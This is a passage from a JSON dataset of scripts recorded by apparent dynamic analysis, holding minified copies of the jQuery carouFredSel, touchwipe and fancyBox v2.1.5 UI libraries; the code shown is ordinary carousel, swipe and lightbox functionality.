i,h=$cfs.children();return i=c>b?h.slice(b,c):$(h.slice(b,itms.total).get().concat(h.slice(0,c).get())),is_function(d)&&d.call($tt0,i),i}),$cfs.bind(cf_e(\"isPaused\",conf)+\" \"+cf_e(\"isStopped\",conf)+\" \"+cf_e(\"isScrolling\",conf),function(a,b){a.stopPropagation();var c=a.type.slice(conf.events.prefix.length),d=crsl[c];return is_function(b)&&b.call($tt0,d),d}),$cfs.bind(cf_e(\"configuration\",conf),function(e,a,b,c){e.stopPropagation();var reInit=!1;if(is_function(a))a.call($tt0,opts);else if(is_object(a))opts_orig=$.extend(!0,{},opts_orig,a),b!==!1?reInit=!0:opts=$.extend(!0,{},opts,a);else if(!is_undefined(a))if(is_function(b)){var val=eval(\"opts.\"+a);is_undefined(val)&&(val=\"\"),b.call($tt0,val)}else{if(is_undefined(b))return eval(\"opts.\"+a);\"boolean\"!=typeof c&&(c=!0),eval(\"opts_orig.\"+a+\" = b\"),c!==!1?reInit=!0:eval(\"opts.\"+a+\" = b\")}if(reInit){sz_resetMargin($cfs.children(),opts),FN._init(opts_orig),FN._bind_buttons();var sz=sz_setSizes($cfs,opts);$cfs.trigger(cf_e(\"updatePageStatus\",conf),[!0,sz])}return opts}),$cfs.bind(cf_e(\"linkAnchors\",conf),function(a,b,c){return a.stopPropagation(),is_undefined(b)?b=$(\"body\"):is_string(b)&&(b=$(b)),is_jquery(b)&&0!=b.length?(is_string(c)||(c=\"a.caroufredsel\"),b.find(c).each(function(){var a=this.hash||\"\";a.length>0&&-1!=$cfs.children().index($(a))&&$(this).unbind(\"click\").click(function(b){b.preventDefault(),$cfs.trigger(cf_e(\"slideTo\",conf),a)})}),!0):debug(conf,\"Not a valid object.\")}),$cfs.bind(cf_e(\"updatePageStatus\",conf),function(a,b){if(a.stopPropagation(),opts.pagination.container){var d=opts.pagination.items||opts.items.visible,e=Math.ceil(itms.total/d);b&&(opts.pagination.anchorBuilder&&(opts.pagination.container.children().remove(),opts.pagination.container.each(function(){for(var a=0;e>a;a++){var b=$cfs.children().eq(gn_getItemIndex(a*d,0,!0,itms,$cfs));$(this).append(opts.pagination.anchorBuilder.call(b[0],a+1))}})),opts.pagination.container.each(function(){$(this).children().unbind(opts.pagination.event).each(function(a){$(this).bind(opts.pagination.event,function(b){b.preventDefault(),$cfs.trigger(cf_e(\"slideTo\",conf),[a*d,-opts.pagination.deviation,!0,opts.pagination])})})}));var f=$cfs.triggerHandler(cf_e(\"currentPage\",conf))+opts.pagination.deviation;return f>=e&&(f=0),0>f&&(f=e-1),opts.pagination.container.each(function(){$(this).children().removeClass(cf_c(\"selected\",conf)).eq(f).addClass(cf_c(\"selected\",conf))}),!0}}),$cfs.bind(cf_e(\"updateSizes\",conf),function(){var b=opts.items.visible,c=$cfs.children(),d=ms_getParentSize($wrp,opts,\"width\");if(itms.total=c.length,crsl.primarySizePercentage?(opts.maxDimension=d,opts[opts.d.width]=ms_getPercentage(d,crsl.primarySizePercentage)):opts.maxDimension=ms_getMaxDimension(opts,d),opts.responsive?(opts.items.width=opts.items.sizesConf.width,opts.items.height=opts.items.sizesConf.height,opts=in_getResponsiveValues(opts,c,d),b=opts.items.visible,sz_setResponsiveSizes(opts,c)):opts.items.visibleConf.variable?b=gn_getVisibleItemsNext(c,opts,0):\"*\"!=opts.items.filter&&(b=gn_getVisibleItemsNextFilter(c,opts,0)),!opts.circular&&0!=itms.first&&b>itms.first){if(opts.items.visibleConf.variable)var e=gn_getVisibleItemsPrev(c,opts,itms.first)-itms.first;else if(\"*\"!=opts.items.filter)var e=gn_getVisibleItemsPrevFilter(c,opts,itms.first)-itms.first;else var e=opts.items.visible-itms.first;debug(conf,\"Preventing non-circular: sliding \"+e+\" items backward.\"),$cfs.trigger(cf_e(\"prev\",conf),e)}opts.items.visible=cf_getItemsAdjust(b,opts,opts.items.visibleConf.adjust,$tt0),opts.items.visibleConf.old=opts.items.visible,opts=in_getAlignPadding(opts,c);var f=sz_setSizes($cfs,opts);return $cfs.trigger(cf_e(\"updatePageStatus\",conf),[!0,f]),nv_showNavi(opts,itms.total,conf),nv_enableNavi(opts,itms.first,conf),f}),$cfs.bind(cf_e(\"destroy\",conf),function(a,b){return a.stopPropagation(),tmrs=sc_clearTimers(tmrs),$cfs.data(\"_cfs_isCarousel\",!1),$cfs.trigger(cf_e(\"finish\",conf)),b&&$cfs.trigger(cf_e(\"jumpToStart\",conf)),sz_restoreOrigCss($cfs.children()),sz_restoreOrigCss($cfs),FN._unbind_events(),FN._unbind_buttons(),\"parent\"==conf.wrapper?sz_restoreOrigCss($wrp):$wrp.replaceWith($cfs),!0}),$cfs.bind(cf_e(\"debug\",conf),function(){return debug(conf,\"Carousel width: \"+opts.width),debug(conf,\"Carousel height: \"+opts.height),debug(conf,\"Item widths: \"+opts.items.width),debug(conf,\"Item heights: \"+opts.items.height),debug(conf,\"Number of items visible: \"+opts.items.visible),opts.auto.play&&debug(conf,\"Number of items scrolled automatically: \"+opts.auto.items),opts.prev.button&&debug(conf,\"Number of items scrolled backward: \"+opts.prev.items),opts.next.button&&debug(conf,\"Number of items scrolled forward: \"+opts.next.items),conf.debug}),$cfs.bind(\"_cfs_triggerEvent\",function(a,b,c){return a.stopPropagation(),$cfs.triggerHandler(cf_e(b,conf),c)})},FN._unbind_events=function(){$cfs.unbind(cf_e(\"\",conf)),$cfs.unbind(cf_e(\"\",conf,!1)),$cfs.unbind(\"_cfs_triggerEvent\")},FN._bind_buttons=function(){if(FN._unbind_buttons(),nv_showNavi(opts,itms.total,conf),nv_enableNavi(opts,itms.first,conf),opts.auto.pauseOnHover){var a=bt_pauseOnHoverConfig(opts.auto.pauseOnHover);$wrp.bind(cf_e(\"mouseenter\",conf,!1),function(){$cfs.trigger(cf_e(\"pause\",conf),a)}).bind(cf_e(\"mouseleave\",conf,!1),function(){$cfs.trigger(cf_e(\"resume\",conf))})}if(opts.auto.button&&opts.auto.button.bind(cf_e(opts.auto.event,conf,!1),function(a){a.preventDefault();var b=!1,c=null;crsl.isPaused?b=\"play\":opts.auto.pauseOnEvent&&(b=\"pause\",c=bt_pauseOnHoverConfig(opts.auto.pauseOnEvent)),b&&$cfs.trigger(cf_e(b,conf),c)}),opts.prev.button&&(opts.prev.button.bind(cf_e(opts.prev.event,conf,!1),function(a){a.preventDefault(),$cfs.trigger(cf_e(\"prev\",conf))}),opts.prev.pauseOnHover)){var a=bt_pauseOnHoverConfig(opts.prev.pauseOnHover);opts.prev.button.bind(cf_e(\"mouseenter\",conf,!1),function(){$cfs.trigger(cf_e(\"pause\",conf),a)}).bind(cf_e(\"mouseleave\",conf,!1),function(){$cfs.trigger(cf_e(\"resume\",conf))})}if(opts.next.button&&(opts.next.button.bind(cf_e(opts.next.event,conf,!1),function(a){a.preventDefault(),$cfs.trigger(cf_e(\"next\",conf))}),opts.next.pauseOnHover)){var a=bt_pauseOnHoverConfig(opts.next.pauseOnHover);opts.next.button.bind(cf_e(\"mouseenter\",conf,!1),function(){$cfs.trigger(cf_e(\"pause\",conf),a)}).bind(cf_e(\"mouseleave\",conf,!1),function(){$cfs.trigger(cf_e(\"resume\",conf))})}if(opts.pagination.container&&opts.pagination.pauseOnHover){var a=bt_pauseOnHoverConfig(opts.pagination.pauseOnHover);opts.pagination.container.bind(cf_e(\"mouseenter\",conf,!1),function(){$cfs.trigger(cf_e(\"pause\",conf),a)}).bind(cf_e(\"mouseleave\",conf,!1),function(){$cfs.trigger(cf_e(\"resume\",conf))})}if((opts.prev.key||opts.next.key)&&$(document).bind(cf_e(\"keyup\",conf,!1,!0,!0),function(a){var b=a.keyCode;b==opts.next.key&&(a.preventDefault(),$cfs.trigger(cf_e(\"next\",conf))),b==opts.prev.key&&(a.preventDefault(),$cfs.trigger(cf_e(\"prev\",conf)))}),opts.pagination.keys&&$(document).bind(cf_e(\"keyup\",conf,!1,!0,!0),function(a){var b=a.keyCode;b>=49&&58>b&&(b=(b-49)*opts.items.visible,itms.total>=b&&(a.preventDefault(),$cfs.trigger(cf_e(\"slideTo\",conf),[b,0,!0,opts.pagination])))}),$.fn.swipe){var b=\"ontouchstart\"in window;if(b&&opts.swipe.onTouch||!b&&opts.swipe.onMouse){var c=$.extend(!0,{},opts.prev,opts.swipe),d=$.extend(!0,{},opts.next,opts.swipe),e=function(){$cfs.trigger(cf_e(\"prev\",conf),[c])},f=function(){$cfs.trigger(cf_e(\"next\",conf),[d])};switch(opts.direction){case\"up\":case\"down\":opts.swipe.options.swipeUp=f,opts.swipe.options.swipeDown=e;break;default:opts.swipe.options.swipeLeft=f,opts.swipe.options.swipeRight=e}crsl.swipe&&$cfs.swipe(\"destroy\"),$wrp.swipe(opts.swipe.options),$wrp.css(\"cursor\",\"move\"),crsl.swipe=!0}}if($.fn.mousewheel&&opts.mousewheel){var g=$.extend(!0,{},opts.prev,opts.mousewheel),h=$.extend(!0,{},opts.next,opts.mousewheel);crsl.mousewheel&&$wrp.unbind(cf_e(\"mousewheel\",conf,!1)),$wrp.bind(cf_e(\"mousewheel\",conf,!1),function(a,b){a.preventDefault(),b>0?$cfs.trigger(cf_e(\"prev\",conf),[g]):$cfs.trigger(cf_e(\"next\",conf),[h])}),crsl.mousewheel=!0}if(opts.auto.play&&$cfs.trigger(cf_e(\"play\",conf),opts.auto.delay),crsl.upDateOnWindowResize){var i=function(){$cfs.trigger(cf_e(\"finish\",conf)),opts.auto.pauseOnResize&&!crsl.isPaused&&$cfs.trigger(cf_e(\"play\",conf)),sz_resetMargin($cfs.children(),opts),$cfs.trigger(cf_e(\"updateSizes\",conf))},j=$(window),k=null;if($.debounce&&\"debounce\"==conf.onWindowResize)k=$.debounce(200,i);else if($.throttle&&\"throttle\"==conf.onWindowResize)k=$.throttle(300,i);else{var l=0,m=0;k=function(){var a=j.width(),b=j.height();(a!=l||b!=m)&&(i(),l=a,m=b)}}j.bind(cf_e(\"resize\",conf,!1,!0,!0),k)}},FN._unbind_buttons=function(){var b=(cf_e(\"\",conf),cf_e(\"\",conf,!1));ns3=cf_e(\"\",conf,!1,!0,!0),$(document).unbind(ns3),$(window).unbind(ns3),$wrp.unbind(b),opts.auto.button&&opts.auto.button.unbind(b),opts.prev.button&&opts.prev.button.unbind(b),opts.next.button&&opts.next.button.unbind(b),opts.pagination.container&&(opts.pagination.container.unbind(b),opts.pagination.anchorBuilder&&opts.pagination.container.children().remove()),crsl.swipe&&($cfs.swipe(\"destroy\"),$wrp.css(\"cursor\",\"default\"),crsl.swipe=!1),crsl.mousewheel&&(crsl.mousewheel=!1),nv_showNavi(opts,\"hide\",conf),nv_enableNavi(opts,\"removeClass\",conf)},is_boolean(configs)&&(configs={debug:configs});var crsl={direction:\"next\",isPaused:!0,isScrolling:!1,isStopped:!1,mousewheel:!1,swipe:!1},itms={total:$cfs.children().length,first:0},tmrs={auto:null,progress:null,startTime:getTime(),timePassed:0},scrl={isStopped:!1,duration:0,startTime:0,easing:\"\",anims:[]},clbk={onBefore:[],onAfter:[]},queu=[],conf=$.extend(!0,{},$.fn.carouFredSel.configs,configs),opts={},opts_orig=$.extend(!0,{},options),$wrp=\"parent\"==conf.wrapper?$cfs.parent():$cfs.wrap(\"<\"+conf.wrapper.element+' class=\"'+conf.wrapper.classname+'\" />').parent();if(conf.selector=$cfs.selector,conf.serialNumber=$.fn.carouFredSel.serialNumber++,conf.transition=conf.transition&&$.fn.transition?\"transition\":\"animate\",FN._init(opts_orig,!0,starting_position),FN._build(),FN._bind_events(),FN._bind_buttons(),is_array(opts.items.start))var start_arr=opts.items.start;else{var start_arr=[];0!=opts.items.start&&start_arr.push(opts.items.start)}if(opts.cookie&&start_arr.unshift(parseInt(cf_getCookie(opts.cookie),10)),start_arr.length>0)for(var a=0,l=start_arr.length;l>a;a++){var s=start_arr[a];if(0!=s){if(s===!0){if(s=window.location.hash,1>s.length)continue}else\"random\"===s&&(s=Math.floor(Math.random()*itms.total));if($cfs.triggerHandler(cf_e(\"slideTo\",conf),[s,0,!0,{fx:\"none\"}]))break}}var siz=sz_setSizes($cfs,opts),itm=gi_getCurrentItems($cfs.children(),opts);return opts.onCreate&&opts.onCreate.call($tt0,{width:siz.width,height:siz.height,items:itm}),$cfs.trigger(cf_e(\"updatePageStatus\",conf),[!0,siz]),$cfs.trigger(cf_e(\"linkAnchors\",conf)),conf.debug&&$cfs.trigger(cf_e(\"debug\",conf)),$cfs},$.fn.carouFredSel.serialNumber=1,$.fn.carouFredSel.defaults={synchronise:!1,infinite:!0,circular:!0,responsive:!1,direction:\"left\",items:{start:0},scroll:{easing:\"swing\",duration:500,pauseOnHover:!1,event:\"click\",queue:!1}},$.fn.carouFredSel.configs={debug:!1,transition:!1,onWindowResize:\"throttle\",events:{prefix:\"\",namespace:\"cfs\"},wrapper:{element:\"div\",classname:\"caroufredsel_wrapper\"},classnames:{}},$.fn.carouFredSel.pageAnchorBuilder=function(a){return'<a href=\"#\"><span>'+a+\"</span></a>\"},$.fn.carouFredSel.progressbarUpdater=function(a){$(this).css(\"width\",a+\"%\")},$.fn.carouFredSel.cookie={get:function(a){a+=\"=\";for(var b=document.cookie.split(\";\"),c=0,d=b.length;d>c;c++){for(var e=b[c];\" \"==e.charAt(0);)e=e.slice(1);if(0==e.indexOf(a))return e.slice(a.length)}return 0},set:function(a,b,c){var d=\"\";if(c){var e=new Date;e.setTime(e.getTime()+1e3*60*60*24*c),d=\"; expires=\"+e.toGMTString()}document.cookie=a+\"=\"+b+d+\"; path=/\"},remove:function(a){$.fn.carouFredSel.cookie.set(a,\"\",-1)}},$.extend($.easing,{quadratic:function(a){var b=a*a;return a*(-b*a+4*b-6*a+4)},cubic:function(a){return a*(4*a*a-9*a+6)},elastic:function(a){var b=a*a;return a*(33*b*b-106*b*a+126*b-67*a+15)}}))})(jQuery);",
"relationship": "Contained_Inside",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/** * jQuery Plugin to obtain touch gestures from iPhone, iPod Touch and iPad, should also work with Android mobile phones (not tested yet!) * Common usage: wipe images (left and right to show the previous or next image) * * @author Andreas Waltl, netCU Internetagentur (http://www.netcu.de) * @version 1.1.1 (9th December 2010) - fix bug (older IE's had problems) * @version 1.1 (1st September 2010) - support wipe up and wipe down * @version 1.0 (15th July 2010) */(function($){$.fn.touchwipe=function(settings){var config={min_move_x:20,min_move_y:20,wipeLeft:function(){},wipeRight:function(){},wipeUp:function(){},wipeDown:function(){},preventDefaultEvents:true};if(settings)$.extend(config,settings);this.each(function(){var startX;var startY;var isMoving=false;function cancelTouch(){this.removeEventListener('touchmove',onTouchMove);startX=null;isMoving=false}function onTouchMove(e){if(config.preventDefaultEvents){e.preventDefault()}if(isMoving){var x=e.touches[0].pageX;var y=e.touches[0].pageY;var dx=startX-x;var dy=startY-y;if(Math.abs(dx)>=config.min_move_x){cancelTouch();if(dx>0){config.wipeLeft()}else{config.wipeRight()}}else if(Math.abs(dy)>=config.min_move_y){cancelTouch();if(dy>0){config.wipeDown()}else{config.wipeUp()}}}}function onTouchStart(e){if(e.touches.length==1){startX=e.touches[0].pageX;startY=e.touches[0].pageY;isMoving=true;this.addEventListener('touchmove',onTouchMove,false)}}if('ontouchstart'in document.documentElement){this.addEventListener('touchstart',onTouchStart,false)}});return this}})(jQuery);",
"relationship": "Contained_Inside",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/*! fancyBox v2.1.5 fancyapps.com | fancyapps.com/fancybox/#license */(function(r,G,f,v){var J=f(\"html\"),n=f(r),p=f(G),b=f.fancybox=function(){b.open.apply(this,arguments)},I=navigator.userAgent.match(/msie/i),B=null,s=G.createTouch!==v,t=function(a){return a&&a.hasOwnProperty&&a instanceof f},q=function(a){return a&&\"string\"===f.type(a)},E=function(a){return q(a)&&0<a.indexOf(\"%\")},l=function(a,d){var e=parseInt(a,10)||0;d&&E(a)&&(e*=b.getViewport()[d]/100);return Math.ceil(e)},w=function(a,b){return l(a,b)+\"px\"};f.extend(b,{version:\"2.1.5\",defaults:{padding:15,margin:20,width:800,height:600,minWidth:100,minHeight:100,maxWidth:9999,maxHeight:9999,pixelRatio:1,autoSize:!0,autoHeight:!1,autoWidth:!1,autoResize:!0,autoCenter:!s,fitToView:!0,aspectRatio:!1,topRatio:0.5,leftRatio:0.5,scrolling:\"auto\",wrapCSS:\"\",arrows:!0,closeBtn:!0,closeClick:!1,nextClick:!1,mouseWheel:!0,autoPlay:!1,playSpeed:3E3,preload:3,modal:!1,loop:!0,ajax:{dataType:\"html\",headers:{\"X-fancyBox\":!0}},iframe:{scrolling:\"auto\",preload:!0},swf:{wmode:\"transparent\",allowfullscreen:\"true\",allowscriptaccess:\"always\"},keys:{next:{13:\"left\",34:\"up\",39:\"left\",40:\"up\"},prev:{8:\"right\",33:\"down\",37:\"right\",38:\"down\"},close:[27],play:[32],toggle:[70]},direction:{next:\"left\",prev:\"right\"},scrollOutside:!0,index:0,type:null,href:null,content:null,title:null,tpl:{wrap:'<div class=\"fancybox-wrap\" tabIndex=\"-1\"><div class=\"fancybox-skin\"><div class=\"fancybox-outer\"><div class=\"fancybox-inner\"></div></div></div></div>',image:'<img class=\"fancybox-image\" src=\"{href}\" alt=\"\" />',iframe:'<iframe id=\"fancybox-frame{rnd}\" name=\"fancybox-frame{rnd}\" class=\"fancybox-iframe\" frameborder=\"0\" vspace=\"0\" hspace=\"0\" webkitAllowFullScreen mozallowfullscreen allowFullScreen'+(I?' allowtransparency=\"true\"':\"\")+\"></iframe>\",error:'<p class=\"fancybox-error\">The requested content cannot be loaded.<br/>Please try again later.</p>',closeBtn:'<a title=\"Close\" class=\"fancybox-item fancybox-close\" href=\"javascript:;\"></a>',next:'<a title=\"Next\" class=\"fancybox-nav fancybox-next\" href=\"javascript:;\"><span></span></a>',prev:'<a title=\"Previous\" class=\"fancybox-nav fancybox-prev\" href=\"javascript:;\"><span></span></a>'},openEffect:\"fade\",openSpeed:250,openEasing:\"swing\",openOpacity:!0,openMethod:\"zoomIn\",closeEffect:\"fade\",closeSpeed:250,closeEasing:\"swing\",closeOpacity:!0,closeMethod:\"zoomOut\",nextEffect:\"elastic\",nextSpeed:250,nextEasing:\"swing\",nextMethod:\"changeIn\",prevEffect:\"elastic\",prevSpeed:250,prevEasing:\"swing\",prevMethod:\"changeOut\",helpers:{overlay:!0,title:!0},onCancel:f.noop,beforeLoad:f.noop,afterLoad:f.noop,beforeShow:f.noop,afterShow:f.noop,beforeChange:f.noop,beforeClose:f.noop,afterClose:f.noop},group:{},opts:{},previous:null,coming:null,current:null,isActive:!1,isOpen:!1,isOpened:!1,wrap:null,skin:null,outer:null,inner:null,player:{timer:null,isActive:!1},ajaxLoad:null,imgPreload:null,transitions:{},helpers:{},open:function(a,d){if(a&&(f.isPlainObject(d)||(d={}),!1!==b.close(!0)))return f.isArray(a)||(a=t(a)?f(a).get():[a]),f.each(a,function(e,c){var k={},g,h,j,m,l;\"object\"===f.type(c)&&(c.nodeType&&(c=f(c)),t(c)?(k={href:c.data(\"fancybox-href\")||c.attr(\"href\"),title:c.data(\"fancybox-title\")||c.attr(\"title\"),isDom:!0,element:c},f.metadata&&f.extend(!0,k,c.metadata())):k=c);g=d.href||k.href||(q(c)?c:null);h=d.title!==v?d.title:k.title||\"\";m=(j=d.content||k.content)?\"html\":d.type||k.type;!m&&k.isDom&&(m=c.data(\"fancybox-type\"),m||(m=(m=c.prop(\"class\").match(/fancybox\\.(\\w+)/))?m[1]:null));q(g)&&(m||(b.isImage(g)?m=\"image\":b.isSWF(g)?m=\"swf\":\"#\"===g.charAt(0)?m=\"inline\":q(c)&&(m=\"html\",j=c)),\"ajax\"===m&&(l=g.split(/\\s+/,2),g=l.shift(),l=l.shift()));j||(\"inline\"===m?g?j=f(q(g)?g.replace(/.*(?=#[^\\s]+$)/,\"\"):g):k.isDom&&(j=c):\"html\"===m?j=g:!m&&(!g&&k.isDom)&&(m=\"inline\",j=c));f.extend(k,{href:g,type:m,content:j,title:h,selector:l});a[e]=k}),b.opts=f.extend(!0,{},b.defaults,d),d.keys!==v&&(b.opts.keys=d.keys?f.extend({},b.defaults.keys,d.keys):!1),b.group=a,b._start(b.opts.index)},cancel:function(){var a=b.coming;a&&!1!==b.trigger(\"onCancel\")&&(b.hideLoading(),b.ajaxLoad&&b.ajaxLoad.abort(),b.ajaxLoad=null,b.imgPreload&&(b.imgPreload.onload=b.imgPreload.onerror=null),a.wrap&&a.wrap.stop(!0,!0).trigger(\"onReset\").remove(),b.coming=null,b.current||b._afterZoomOut(a))},close:function(a){b.cancel();!1!==b.trigger(\"beforeClose\")&&(b.unbindEvents(),b.isActive&&(!b.isOpen||!0===a?(f(\".fancybox-wrap\").stop(!0).trigger(\"onReset\").remove(),b._afterZoomOut()):(b.isOpen=b.isOpened=!1,b.isClosing=!0,f(\".fancybox-item, .fancybox-nav\").remove(),b.wrap.stop(!0,!0).removeClass(\"fancybox-opened\"),b.transitions[b.current.closeMethod]())))},play:function(a){var d=function(){clearTimeout(b.player.timer)},e=function(){d();b.current&&b.player.isActive&&(b.player.timer=setTimeout(b.next,b.current.playSpeed))},c=function(){d();p.unbind(\".player\");b.player.isActive=!1;b.trigger(\"onPlayEnd\")};if(!0===a||!b.player.isActive&&!1!==a){if(b.current&&(b.current.loop||b.current.index<b.group.length-1))b.player.isActive=!0,p.bind({\"onCancel.player beforeClose.player\":c,\"onUpdate.player\":e,\"beforeLoad.player\":d}),e(),b.trigger(\"onPlayStart\")}else c()},next:function(a){var d=b.current;d&&(q(a)||(a=d.direction.next),b.jumpto(d.index+1,a,\"next\"))},prev:function(a){var d=b.current;d&&(q(a)||(a=d.direction.prev),b.jumpto(d.index-1,a,\"prev\"))},jumpto:function(a,d,e){var c=b.current;c&&(a=l(a),b.direction=d||c.direction[a>=c.index?\"next\":\"prev\"],b.router=e||\"jumpto\",c.loop&&(0>a&&(a=c.group.length+a%c.group.length),a%=c.group.length),c.group[a]!==v&&(b.cancel(),b._start(a)))},reposition:function(a,d){var e=b.current,c=e?e.wrap:null,k;c&&(k=b._getPosition(d),a&&\"scroll\"===a.type?(delete k.position,c.stop(!0,!0).animate(k,200)):(c.css(k),e.pos=f.extend({},e.dim,k)))},update:function(a){var d=a&&a.type,e=!d||\"orientationchange\"===d;e&&(clearTimeout(B),B=null);b.isOpen&&!B&&(B=setTimeout(function(){var c=b.current;c&&!b.isClosing&&(b.wrap.removeClass(\"fancybox-tmp\"),(e||\"load\"===d||\"resize\"===d&&c.autoResize)&&b._setDimension(),\"scroll\"===d&&c.canShrink||b.reposition(a),b.trigger(\"onUpdate\"),B=null)},e&&!s?0:300))},toggle:function(a){b.isOpen&&(b.current.fitToView=\"boolean\"===f.type(a)?a:!b.current.fitToView,s&&(b.wrap.removeAttr(\"style\").addClass(\"fancybox-tmp\"),b.trigger(\"onUpdate\")),b.update())},hideLoading:function(){p.unbind(\".loading\");f(\"#fancybox-loading\").remove()},showLoading:function(){var a,d;b.hideLoading();a=f('<div id=\"fancybox-loading\"><div></div></div>').click(b.cancel).appendTo(\"body\");p.bind(\"keydown.loading\",function(a){if(27===(a.which||a.keyCode))a.preventDefault(),b.cancel()});b.defaults.fixed||(d=b.getViewport(),a.css({position:\"absolute\",top:0.5*d.h+d.y,left:0.5*d.w+d.x}))},getViewport:function(){var a=b.current&&b.current.locked||!1,d={x:n.scrollLeft(),y:n.scrollTop()};a?(d.w=a[0].clientWidth,d.h=a[0].clientHeight):(d.w=s&&r.innerWidth?r.innerWidth:n.width(),d.h=s&&r.innerHeight?r.innerHeight:n.height());return d},unbindEvents:function(){b.wrap&&t(b.wrap)&&b.wrap.unbind(\".fb\");p.unbind(\".fb\");n.unbind(\".fb\")},bindEvents:function(){var a=b.current,d;a&&(n.bind(\"orientationchange.fb\"+(s?\"\":\" resize.fb\")+(a.autoCenter&&!a.locked?\" scroll.fb\":\"\"),b.update),(d=a.keys)&&p.bind(\"keydown.fb\",function(e){var c=e.which||e.keyCode,k=e.target||e.srcElement;if(27===c&&b.coming)return!1;!e.ctrlKey&&(!e.altKey&&!e.shiftKey&&!e.metaKey&&(!k||!k.type&&!f(k).is(\"[contenteditable]\")))&&f.each(d,function(d,k){if(1<a.group.length&&k[c]!==v)return b[d](k[c]),e.preventDefault(),!1;if(-1<f.inArray(c,k))return b[d](),e.preventDefault(),!1})}),f.fn.mousewheel&&a.mouseWheel&&b.wrap.bind(\"mousewheel.fb\",function(d,c,k,g){for(var h=f(d.target||null),j=!1;h.length&&!j&&!h.is(\".fancybox-skin\")&&!h.is(\".fancybox-wrap\");)j=h[0]&&!(h[0].style.overflow&&\"hidden\"===h[0].style.overflow)&&(h[0].clientWidth&&h[0].scrollWidth>h[0].clientWidth||h[0].clientHeight&&h[0].scrollHeight>h[0].clientHeight),h=f(h).parent();if(0!==c&&!j&&1<b.group.length&&!a.canShrink){if(0<g||0<k)b.prev(0<g?\"down\":\"left\");else if(0>g||0>k)b.next(0>g?\"up\":\"right\");d.preventDefault()}}))},trigger:function(a,d){var e,c=d||b.coming||b.current;if(c){f.isFunction(c[a])&&(e=c[a].apply(c,Array.prototype.slice.call(arguments,1)));if(!1===e)return!1;c.helpers&&f.each(c.helpers,function(d,e){if(e&&b.helpers[d]&&f.isFunction(b.helpers[d][a]))b.helpers[d][a](f.extend(!0,{},b.helpers[d].defaults,e),c)});p.trigger(a)}},isImage:function(a){return q(a)&&a.match(/(^data:image\\/.*,)|(\\.(jp(e|g|eg)|gif|png|bmp|webp|svg)((\\?|#).*)?$)/i)},isSWF:function(a){return q(a)&&a.match(/\\.(swf)((\\?|#).*)?$/i)},_start:function(a){var d={},e,c;a=l(a);e=b.group[a]||null;if(!e)return!1;d=f.extend(!0,{},b.opts,e);e=d.margin;c=d.padding;\"number\"===f.type(e)&&(d.margin=[e,e,e,e]);\"number\"===f.type(c)&&(d.padding=[c,c,c,c]);d.modal&&f.extend(!0,d,{closeBtn:!1,closeClick:!1,nextClick:!1,arrows:!1,mouseWheel:!1,keys:null,helpers:{overlay:{closeClick:!1}}});d.autoSize&&(d.autoWidth=d.autoHeight=!0);\"auto\"===d.width&&(d.autoWidth=!0);\"auto\"===d.height&&(d.autoHeight=!0);d.group=b.group;d.index=a;b.coming=d;if(!1===b.trigger(\"beforeLoad\"))b.coming=null;else{c=d.type;e=d.href;if(!c)return b.coming=null,b.current&&b.router&&\"jumpto\"!==b.router?(b.current.index=a,b[b.router](b.direction)):!1;b.isActive=!0;if(\"image\"===c||\"swf\"===c)d.autoHeight=d.autoWidth=!1,d.scrolling=\"visible\";\"image\"===c&&(d.aspectRatio=!0);\"iframe\"===c&&s&&(d.scrolling=\"scroll\");d.wrap=f(d.tpl.wrap).addClass(\"fancybox-\"+(s?\"mobile\":\"desktop\")+\" fancybox-type-\"+c+\" fancybox-tmp \"+d.wrapCSS).appendTo(d.parent||\"body\");f.extend(d,{skin:f(\".fancybox-skin\",d.wrap),outer:f(\".fancybox-outer\",d.wrap),inner:f(\".fancybox-inner\",d.wrap)});f.each([\"Top\",\"Right\",\"Bottom\",\"Left\"],function(a,b){d.skin.css(\"padding\"+b,w(d.padding[a]))});b.trigger(\"onReady\");if(\"inline\"===c||\"html\"===c){if(!d.content||!d.content.length)return b._error(\"content\")}else if(!e)return b._error(\"href\");\"image\"===c?b._loadImage():\"ajax\"===c?b._loadAjax():\"iframe\"===c?b._loadIframe():b._afterLoad()}},_error:function(a){f.extend(b.coming,{type:\"html\",autoWidth:!0,autoHeight:!0,minWidth:0,minHeight:0,scrolling:\"no\",hasError:a,content:b.coming.tpl.error});b._afterLoad()},_loadImage:function(){var a=b.imgPreload=new Image;a.onload=function(){this.onload=this.onerror=null;b.coming.width=this.width/b.opts.pixelRatio;b.coming.height=this.height/b.opts.pixelRatio;b._afterLoad()};a.onerror=function(){this.onload=this.onerror=null;b._error(\"image\")};a.src=b.coming.href;!0!==a.complete&&b.showLoading()},_loadAjax:function(){var a=b.coming;b.showLoading();b.ajaxLoad=f.ajax(f.extend({},a.ajax,{url:a.href,error:function(a,e){b.coming&&\"abort\"!==e?b._error(\"ajax\",a):b.hideLoading()},success:function(d,e){\"success\"===e&&(a.content=d,b._afterLoad())}}))},_loadIframe:function(){var a=b.coming,d=f(a.tpl.iframe.replace(/\\{rnd\\}/g,(new Date).getTime())).attr(\"scrolling\",s?\"auto\":a.iframe.scrolling).attr(\"src\",a.href);f(a.wrap).bind(\"onReset\",function(){try{f(this).find(\"iframe\").hide().attr(\"src\",\"//about:blank\").end().empty()}catch(a){}});a.iframe.preload&&(b.showLoading(),d.one(\"load\",function(){f(this).data(\"ready\",1);s||f(this).bind(\"load.fb\",b.update);f(this).parents(\".fancybox-wrap\").width(\"100%\").removeClass(\"fancybox-tmp\").show();b._afterLoad()}));a.content=d.appendTo(a.inner);a.iframe.preload||b._afterLoad()},_preloadImages:function(){var a=b.group,d=b.current,e=a.length,c=d.preload?Math.min(d.preload,e-1):0,f,g;for(g=1;g<=c;g+=1)f=a[(d.index+g)%e],\"image\"===f.type&&f.href&&((new Image).src=f.href)},_afterLoad:function(){var a=b.coming,d=b.current,e,c,k,g,h;b.hideLoading();if(a&&!1!==b.isActive)if(!1===b.trigger(\"afterLoad\",a,d))a.wrap.stop(!0).trigger(\"onReset\").remove(),b.coming=null;else{d&&(b.trigger(\"beforeChange\",d),d.wrap.stop(!0).removeClass(\"fancybox-opened\").find(\".fancybox-item, .fancybox-nav\").remove());b.unbindEvents();e=a.content;c=a.type;k=a.scrolling;f.extend(b,{wrap:a.wrap,skin:a.skin,outer:a.outer,inner:a.inner,current:a,previous:d});g=a.href;switch(c){case \"inline\":case \"ajax\":case 